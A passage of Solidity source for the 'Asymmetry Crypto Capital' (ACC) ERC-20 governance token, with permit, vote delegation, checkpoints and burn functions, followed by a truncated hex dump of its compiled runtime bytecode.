bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
interface TokenRecipient {
// must return ture
function tokensReceived(
address from,
uint amount,
bytes calldata exData
) external returns (bool);
}
contract CETF {
using Address for address;
uint256 internal _totalSupply;
mapping (address => uint256) internal _balanceOf;
mapping (address => mapping (address => uint256)) internal _allowance;
string public constant symbol = "ACC";
uint8 public constant decimals = 18;
string public constant name = "Asymmetry Crypto Capital";
mapping (address => uint256) public nonces;
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
// delegates
mapping (address => address) public delegates;
struct Checkpoint {
uint32 fromBlock;
uint votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
event Approval(address indexed owner, address indexed spender, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
constructor() {
uint256 chainId = block.chainid;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
_mint(msg.sender, 1000000000e18);
}
function burn(uint amount) external {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint amount) external {
_burnFrom(account, amount);
}
function send(address recipient, uint amount, bytes calldata exData) external returns (bool) {
_transfer(msg.sender, recipient, amount);
if (recipient.isContract()) {
bool rv = TokenRecipient(recipient).tokensReceived(msg.sender, amount, exData);
require(rv, "No TokenRecipient");
}
return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address guy) public view returns (uint256) {
return _balanceOf[guy];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
function approve(address spender, uint wad) public returns (bool) {
return _approve(msg.sender, spender, wad);
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowance[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = _allowance[msg.sender][spender];
require(currentAllowance >= subtractedValue, "CETF: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return _transfer(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
uint256 allowed = _allowance[src][msg.sender];
if (src != msg.sender && allowed != type(uint).max) {
require(allowed >= wad, "CETF: Insufficient approval");
_approve(src, msg.sender, allowed - wad);
}
return _transfer(src, dst, wad);
}
function _transfer(address src, address dst, uint wad) internal returns (bool) {
require(dst != address(0), "CETF:cannot transfer to the zero address");
require(_balanceOf[src] >= wad, "CETF: Insufficient balance");
_balanceOf[src] = _balanceOf[src] - wad;
_balanceOf[dst] = _balanceOf[dst] + wad;
emit Transfer(src, dst, wad);
_moveDelegates(delegates[src], delegates[dst], wad);
return true;
}
function _approve(address owner, address spender, uint wad) internal returns (bool) {
_allowance[owner][spender] = wad;
emit Approval(owner, spender, wad);
return true;
}
function _mint(address dst, uint wad) internal {
require(dst != address(0), "CETF: mint to the zero address");
_balanceOf[dst] = _balanceOf[dst] + wad;
_totalSupply = _totalSupply + wad;
emit Transfer(address(0), dst, wad);
_moveDelegates(address(0), delegates[dst], wad);
}
function _burn(address src, uint wad) internal {
require(_balanceOf[src] >= wad, "CETF: Insufficient balance");
_balanceOf[src] = _balanceOf[src] - wad;
_totalSupply = _totalSupply - wad;
emit Transfer(src, address(0), wad);
_moveDelegates(delegates[src], address(0), wad);
}
function _burnFrom(address src, uint wad) internal {
uint256 allowed = _allowance[src][msg.sender];
if (src != msg.sender && allowed != type(uint).max) {
require(allowed >= wad, "CETF: Insufficient approval");
_approve(src, msg.sender, allowed - wad);
}
_burn(src, wad);
}
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
require(deadline >= block.timestamp, "CETF: expired deadline");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline
)
);
bytes32 hash = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct
)
);
address signer = ecrecover(hash, v, r, s);
require(
signer != address(0) && signer == owner,
"CETF: invalid signature"
);
_approve(owner, spender, amount);
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint delegatorBalance = balanceOf(delegator);
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063782d6fe1116100de578063a9059cbb11610097578063d505accf11610071578063d505accf146104f7578063dd62ed3e14610513578063e7a324dc14610543578063f1127ed8146105615761018e565b8063a9059cbb1461047b578063b4b5ea57146104ab578063c3cda520146104db5761018e565b8063782d6fe11461038157806379cc6790146103b15780637ecebe00146103cd57806395d89b41146103fd5780639bd9bbc61461041b578063a457c2d71461044b5761018e565b80633644e5151161014b578063587cde1e11610125578063587cde1e146102d55780635c19a95c146103055780636fcfff451461032157806370a08231146103515761018e565b80633644e5151461026b578063395093511461028957806342966c68146102b95761018e565b806306fdde0314610193578063095ea7b3146101b157806318160ddd146101e157806323b872dd146101ff57806330adf81f1461022f578063313ce5671461024d575b600080fd5b61019b610592565b6040516101a89190612e3c565b60405180910390f35b6101cb60048036038101906101c69190612681565b6105cb565b6040516101d89190612d1b565b60405180910390f35b6101e96105e0565b6040516101f69190612fbe565b60405180910390f35b61021960048036038101906102149190612594565b6105e9565b6040516102269190612d1b565b60405180910390f35b61023761073c565b6040516102449190612d36565b60405180910390f35b610255610760565b6040516102629190613046565b60405180910390f35b610273610765565b6040516102809190612d36565b60405180910390f35b6102a3600480360381019061029e9190612681565b610789565b6040516102b09190612d1b565b60405180910390f35b6102d360048036038101906102ce9190612817565b610828565b005b6102ef60048036038101906102ea919061252f565b610835565b6040516102fc9190612cc0565b60405180910390f35b61031f600480360381019061031a919061252f565b610868565b005b61033b6004803603810190610336919061252f565b610875565b6040516103489190613002565b60405180910390f35b61036b6004803603810190610366919061252f565b610898565b6040516103789190612fbe565b60405180910390f35b61039b60048036038101906103969190612681565b6108e1565b6040516103a89190612fbe565b60405180910390f35b6103cb60048036038101906103c69190612681565b610cb8565b005b6103e760048036038101906103e2919061252f565b610cc6565b6040516103f49190612fbe565b60405180910390f35b610405610cde565b6040516104129190612e3c565b60405180910390f35b610435600480360381019061043091906126bd565b610d17565b6040516104429190612d1b565b60405180910390f35b61046560048036038101906104609190612681565b610e2c565b6040516104729190612d1b565b60405180910390f35b61049560048036038101906104909190612681565b610f13565b6040516104a29190612d1b565b60405180910390f35b6104c560048036038101906104c0919061252f565b610f28565b6040516104d29190612fbe565b60405180910390f35b6104f560048036038101906104f09190612729565b611007565b005b610511600480360381019061050c91906125e3565b611255565b005b61052d60048036038101906105289190612558565b61149f565b60405161053a9190612fbe565b60405180910390f35b61054b611526565b6040516105589190612d36565b60405180910390f35b61057b600480360381019061057691906127b2565b61154a565b60405161058992919061301d565b60405180910390f35b6040518060400160405280601881526020017f4173796d6d657472792043727970746f204361706974616c000000000000000081525081565b60006105d833848461158b565b905092915050565b60008054905090565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490503373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156106c757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114155b15610727578281101561070f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070690612f3e565b60405180910390fd5b61072585338584610720919061315a565b61158b565b505b61073285858561167e565b9150509392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b7f4714543a126fddf7555bbab743a9ac26bb3c0495c16c6e7e834715ed5fee10bb81565b600061081d338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108189190613099565b61158b565b506001905092915050565b61083233826119c6565b50565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108723382611bbf565b50565b60066020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000438210610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612e5e565b60405180910390fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610992576000915050610cb2565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846109e1919061318e565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610a8e57600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a68919061318e565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610cb2565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b0f576000915050610cb2565b600080600183610b1f919061318e565b90505b8163ffffffff168163ffffffff161115610c4c57600060028383610b46919061318e565b610b509190613129565b82610b5b919061318e565b90506000600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610c1b57806020015195505050505050610cb2565b86816000015163ffffffff161015610c3557819350610c45565b600182610c42919061318e565b92505b5050610b22565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b610cc28282611d30565b5050565b60036020528060005260406000206000915090505481565b6040518060400160405280600381526020017f414343000000000000000000000000000000000000000000000000000000000081525081565b6000610d2433868661167e565b50610d448573ffffffffffffffffffffffffffffffffffffffff16611e7c565b15610e205760008573ffffffffffffffffffffffffffffffffffffffff1663d0314263338787876040518563ffffffff1660e01b8152600401610d8a9493929190612cdb565b602060405180830381600087803b158015610da457600080fd5b505af1158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906127ee565b905080610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1590612e9e565b60405180910390fd5b505b60019050949350505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee890612efe565b60405180910390fd5b610f0733858584610f02919061315a565b61158b565b50600191505092915050565b6000610f2033848461167e565b905092915050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610f92576000610fff565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610fe0919061318e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b60007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8787876040516020016110409493929190612db2565b60405160208183030381529060405280519060200120905060007f4714543a126fddf7555bbab743a9ac26bb3c0495c16c6e7e834715ed5fee10bb8260405160200161108d929190612c89565b6040516020818303038152906040528051906020012090506000600182878787604051600081526020016040526040516110ca9493929190612df7565b6020604051602081039080840390855afa1580156110ec573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612ebe565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906111b890613273565b9190505588146111fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f490612f7e565b60405180910390fd5b86421115611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612f5e565b60405180910390fd5b61124a818a611bbf565b505050505050505050565b42841015611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f90612e7e565b60405180910390fd5b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061130e90613273565b919050558960405160200161132896959493929190612d51565b60405160208183030381529060405280519060200120905060007f4714543a126fddf7555bbab743a9ac26bb3c0495c16c6e7e834715ed5fee10bb82604051602001611375929190612c89565b6040516020818303038152906040528051906020012090506000600182878787604051600081526020016040526040516113b29493929190612df7565b6020604051602081039080840390855afa1580156113d4573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561144857508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90612ede565b60405180910390fd5b6114928a8a8a61158b565b5050505050505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6005602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161166b9190612fbe565b60405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e690612f9e565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176890612f1e565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117bc919061315a565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184a9190613099565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118ea9190612fbe565b60405180910390a36119bb600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ec7565b600190509392505050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3f90612f1e565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a93919061315a565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600054611ae4919061315a565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b489190612fbe565b60405180910390a3611bbb600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600083611ec7565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611c2e84610898565b905082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611d2a828483611ec7565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0d57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114155b15611e6d5781811015611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c90612f3e565b60405180910390fd5b611e6b83338484611e66919061315a565b61158b565b505b611e7783836119c6565b505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015611ebe57506000801b8214155b92505050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f035750600081115b1561216357600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612035576000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611fa6576000612013565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611ff4919061318e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382612023919061315a565b905061203186848484612168565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612162576000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116120d3576000612140565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612121919061318e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600083826121509190613099565b905061215e85848484612168565b5050505b5b505050565b600061218c436040518060600160405280602e81526020016133c0602e9139612411565b905060008463ffffffff1611801561222a57508063ffffffff16600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876121f4919061318e565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156122a45781600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761227e919061318e565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506123ba565b60405180604001604052808263ffffffff16815260200183815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff1602179055506020820151816001015590505060018461235c91906130ef565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612402929190612fd9565b60405180910390a25050505050565b60006401000000008310829061245d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124549190612e3c565b60405180910390fd5b5082905092915050565b60008135905061247681613335565b92915050565b60008151905061248b8161334c565b92915050565b6000813590506124a081613363565b92915050565b60008083601f8401126124b857600080fd5b8235905067ffffffffffffffff8111156124d157600080fd5b6020830191508360018202830111156124e957600080fd5b9250929050565b6000813590506124ff8161337a565b92915050565b60008135905061251481613391565b92915050565b600081359050612529816133a8565b92915050565b60006020828403121561254157600080fd5b600061254f84828501612467565b91505092915050565b6000806040838503121561256b57600080fd5b600061257985828601612467565b925050602061258a85828601612467565b9150509250929050565b6000806000606084860312156125a957600080fd5b60006125b786828701612467565b93505060206125c886828701612467565b92505060406125d9868287016124f0565b9150509250925092565b600080600080600080600060e0888a0312156125fe57600080fd5b600061260c8a828b01612467565b975050602061261d8a828b01612467565b965050604061262e8a828b016124f0565b955050606061263f8a828b016124f0565b94505060806126508a828b0161251a565b93505060a06126618a828b01612491565b92505060c06126728a828b01612491565b91505092959891949750929550565b6000806040838503121561269457600080fd5b60006126a285828601612467565b92505060206126b3858286016124f0565b9150509250929050565b600080600080606085870312156126d357600080fd5b60006126e187828801612467565b94505060206126f2878288016124f0565b935050604085013567ffffffffffffffff81111561270f57600080fd5b61271b878288016124a6565b925092505092959194509250565b60008060008060008060c0878903121561274257600080fd5b600061275089828a01612467565b965050602061276189828a016124f0565b955050604061277289828a016124f0565b945050606061278389828a0161251a565b935050608061279489828a01612491565b92505060a06127a589828a01612491565b9150509295509295509295565b600080604083850312156127c557600080fd5b60006127d385828601612467565b92505060206127e485828601612505565b9150509250929050565b60006020828403121561280057600080fd5b600061280e8482850161247c565b91505092915050565b60006020828403121561282957600080fd5b6000612837848285016124f0565b91505092915050565b612849816131c2565b82525050565b612858816131d4565b82525050565b612867816131e0565b82525050565b61287e612879826131e0565b6132bc565b82525050565b6000612890838561306c565b935061289d838584613231565b6128a683613324565b840190509392505050565b60006128bc82613061565b6128c6818561307d565b93506128d6818560208601613240565b6128df81613324565b840191505092915050565b60006128f760218361307d565b91507f6765745072696f72566f7465733a206e6f74207965742064657465726d696e6560008301527f64000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061295d60168361307d565b91507f434554463a206578706972656420646561646c696e65000000000000000000006000830152602082019050919050565b600061299d60118361307d565b91507f4e6f20546f6b656e526563697069656e740000000000000000000000000000006000830152602082019050919050565b60006129dd60028361308e565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000612a1d60208361307d565b91507f64656c656761746542795369673a20696e76616c6964207369676e61747572656000830152602082019050919050565b6000612a5d60178361307d565b91507f434554463a20696e76616c6964207369676e61747572650000000000000000006000830152602082019050919050565b6000612a9d60248361307d565b91507f434554463a2064656372656173656420616c6c6f77616e63652062656c6f772060008301527f7a65726f000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b03601a8361307d565b91507f434554463a20496e73756666696369656e742062616c616e63650000000000006000830152602082019050919050565b6000612b43601b8361307d565b91507f434554463a20496e73756666696369656e7420617070726f76616c00000000006000830152602082019050919050565b6000612b8360208361307d565b91507f64656c656761746542795369673a207369676e617475726520657870697265646000830152602082019050919050565b6000612bc3601c8361307d565b91507f64656c656761746542795369673a20696e76616c6964206e6f6e6365000000006000830152602082019050919050565b6000612c0360288361307d565b91507f434554463a63616e6e6f74207472616e7366657220746f20746865207a65726f60008301527f20616464726573730000000000000000000000000000000000000000000000006020830152604082019050919050565b612c658161320a565b82525050565b612c7481613214565b82525050565b612c8381613224565b82525050565b6000612c94826129d0565b9150612ca0828561286d565b602082019150612cb0828461286d565b6020820191508190509392505050565b6000602082019050612cd56000830184612840565b92915050565b6000606082019050612cf06000830187612840565b612cfd6020830186612c5c565b8181036040830152612d10818486612884565b905095945050505050565b6000602082019050612d30600083018461284f565b92915050565b6000602082019050612d4b600083018461285e565b92915050565b600060c082019050612d66600083018961285e565b612d736020830188612840565b612d806040830187612840565b612d8d6060830186612c5c565b612d9a6080830185612c5c565b612da760a0830184612c5c565b979650505050505050565b6000608082019050612dc7600083018761285e565b612dd46020830186612840565b612de16040830185612c5c565b612dee6060830184612c5c565b95945050505050565b6000608082019050612e0c600083018761285e565b612e196020830186612c7a565b612e26604083018561285e565b612e33606083018461285e565b95945050505050565b60006020820190508181036000830152612e5681846128b1565b905092915050565b60006020820190508181036000830152612e77816128ea565b9050919050565b60006020820190508181036000830152612e9781612950565b9050919050565b60006020820190508181036000830152612eb781612990565b9050919050565b60006020820190508181036000830152612ed781612a10565b9050919050565b60006020820190508181036000830152612ef781612a50565b9050919050565b60006020820190508181036000830152612f1781612a90565b9050919050565b60006020820190508181036000830152612f3781612af6565b9050919050565b60006020820190508181036000830152612f5781612b36565b9050919050565b60006020820190508181036000830152612f7781612b76565b9050919050565b60006020820190508181036000830152612f9781612bb6565b9050919050565b60006020820190508181036000830152612fb781612bf6565b9050919050565b6000602082019050612fd36000830184612c5c565b92915050565b6000604082019050612fee